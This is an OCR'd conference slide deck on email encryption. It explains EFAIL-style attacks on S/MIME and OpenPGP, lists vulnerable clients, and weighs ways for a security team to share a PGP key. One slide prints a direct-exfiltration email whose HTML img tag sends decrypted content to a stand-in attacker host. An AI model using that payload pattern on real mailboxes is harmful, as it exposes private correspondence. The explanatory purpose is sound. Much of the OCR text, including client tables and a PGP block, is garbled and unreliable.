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Why do we need a PGP key?
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Email security

Created by raymond chan @ 2014
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Email from Ben's desktop to Anna's Desktop

Source: [email_flow_src]
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Is your email provider trustworthy?

Created by raymond chan @ 2014
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Source: [email_flow_src]
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End-to-End email encryption

OpenPGP S/MIME

SEIP (Tag 18) || Length‘ Email Header

Content-type: application/pkcsT-mime; smime-type=enveloped-data

CD (Tag 8) || Length sencrypted> Email Body

LD (Tag 11) || Length Seompressed> EnvelopedData <basebd>
Content-type: multipart/mixed; boundary="..." RecipientInfos (1...n session keys)

s EncryptedContentInfo

AlgorithmIdentifier
MDC (Tag 19) || Length| Content=types ltApart/ergaen <. <encrypteds
9fbd5d27474c2670d78£71c32e£5404e37c9cd88 ‘
Source: [2]

Source: [2]
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Recent vulnerabilities
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S/MIME attack using CBC gadget
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Source: [2]
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Which email clients are vulnerable?

0S  Client S/MIME & Apple Mail
2 MailMate
E  Airmail
'g’ Outlook 2007 - 8 Mail App ]
E Outlook 2010 ; Canary Mall
§ Outlook 2013 1 = K-9 Mail
Outlook 2016 1 = R2Mail2
Win. 10 Mail % MailDroid
Win. Live Mail - Nine
The Bat! 1 Z  United Internet
Postbox _% Mailbox.org
€M Client Z  ProtonMail
IBM Notes Mailfence
% Thunderbird GMail
;__]n_ Evolution g Roundcube
Trojitd 8 Horde IMP
KMail 1 Z  AfterLogic
Claws N Rainloop
Mutt v Mailpile
Source: [2] Source: [2]
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OpenPGP attack - breaking MDC protection

1. MDC stripped: ] \ J
SEIP ‘ m s%
2. MDC incorregt:
SEIP @ | sha1 @
3. SEIP->SE downgrade i
SEYK [ m g sha?fq
t

Source: [3]

Client Plugin (up to ‘ MDC Stripped | MDC Incorrect SEIP -> SE
version)

Outlook 2007 | GPGAWIN 3.0.0

Outlook 2010 [ GPG4AWIN

Outlook 2013 GPG4WIN

Outlook 2016 GPG4WIN

Thunderbird | Enigmail 1.9.9

Apple Mail (OSX) | GPGTools 2018.01

Vulnerable

Source: [3]
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Direct exfiltration

Eve’s attack E-Mail

From: Eve
To: Bob

Content-Type: text/html
<img src="http://eve.atck/

hQIMAln/OnhVYSIBARAALIsX1QsH
ZObL2LopVexVVZluvk3wieArHUg..

Content-Type: text/html
"

Source: [3]
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Reply-to: attacker

ece Source of Your Request
Is it necessary to print this email? If you care about the envirol
like we do, please refrain from printing emails. It helps to keep
environment forested and Litter-free.

The views and opinions included in this email belong to their auth
do not necessarily mirror the

—DELIMITES
Ratint-Typts MAtipart/ucrypted; pretecol-=smplicetion/ee-sser,

~-BOUNDARY
Content-Type: application/pgp-encrypted
Content-Description: PGP/MIME version identification

Version: 1

BOUNDARY
Content-Type: application/octet-stream; name=‘enc.asc”

~———BEGIN PGP MESSAGE-——
NQIMA1G2TZnoMIVGAQ/ /QBEWUYepCaEE] | +2bUETBBXSAUF LOMW] Sheg)LTyBNAX
RJEohLrUSF NeSgTD11Cy L+6R2BINGAGYTCs P 1BG9REVRGIUNZOZCHS rHGCaR

78aFX] LEWAGEGSDR
nmnmsﬂzwpsnsbucamlnwsmrvvmeszquEynnrun(uvevv;
' APUZEN SV
ZosumpPaa 35301
¥e VeBsKLC
oyt shotdd
ywSBors/ uyGa3PKQT TFhL 26 TudoUNgHOU
U/ 15ux8Bo0GLCI IXMKUF2funroy 1215
69Fy/3F IEBURTIRGReUGS 1921)y5/GIWKATF4 fQVS 0BG Rt EEAXFuCiMa TS 1F5
w9 y
i 73ths Tit
AFT30ECE8ef oC) P32y y
1
w162, YascLTHe
Source: [3]
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My recommendation

+ Don’t integrate mail client with gpg
+ Use gpg only from cmd-line
+ Use plain-text emails
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Sharing the key with the Team
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Security Team Use Case

+ Official contact to security team
* Mostly for reporting vulnerabilities
+ Messages should be kept secret during embargo period
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Other security teams have the same problem

* Many security teams can be reached using PGP-encrypted mail
* For many years know

* They must have the same problem

* So | just asked them how they do this
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Simply sharing the key

PROS

* Very simple
* Works out-of-the-box

CONS

* Everyone share the master key
* Need to revoke a key when

someone leaves
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Sharing the subkey
PROS

* Quite simple
* Works out-of-the-box
* Master key not shared

CONS

* Everyone share encryption

key

* Need to revoke a subkey when

someone leaves
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Reencryption service

PROS

* No need to share a key
* Access based on membership

CONS

+ Complicated setup
* Key on a public server
+ SPAM propagation
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Central service

PROS

* No need to share a key
+ ACL-based access

CONS

+ Complicated setup
* Key on a public server
* Probably require some

development

SNAMSUNG
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My recommendation

Establish trust chain between security team

* Generate a PGP key

+ Generate revocation certificate

Handle the certificate to TSC or LF

+ Generate encryption subkey

Share the encryption subkey with security team

+ Pass the master key to the chosen key custodian

SNMSUNG
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Summary
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Summary
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Q&A
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Thank you!

Krzysztof Opasiak
Samsung R&D Institute Poland

+48 605 125 174
k.opasiak@samsung.com
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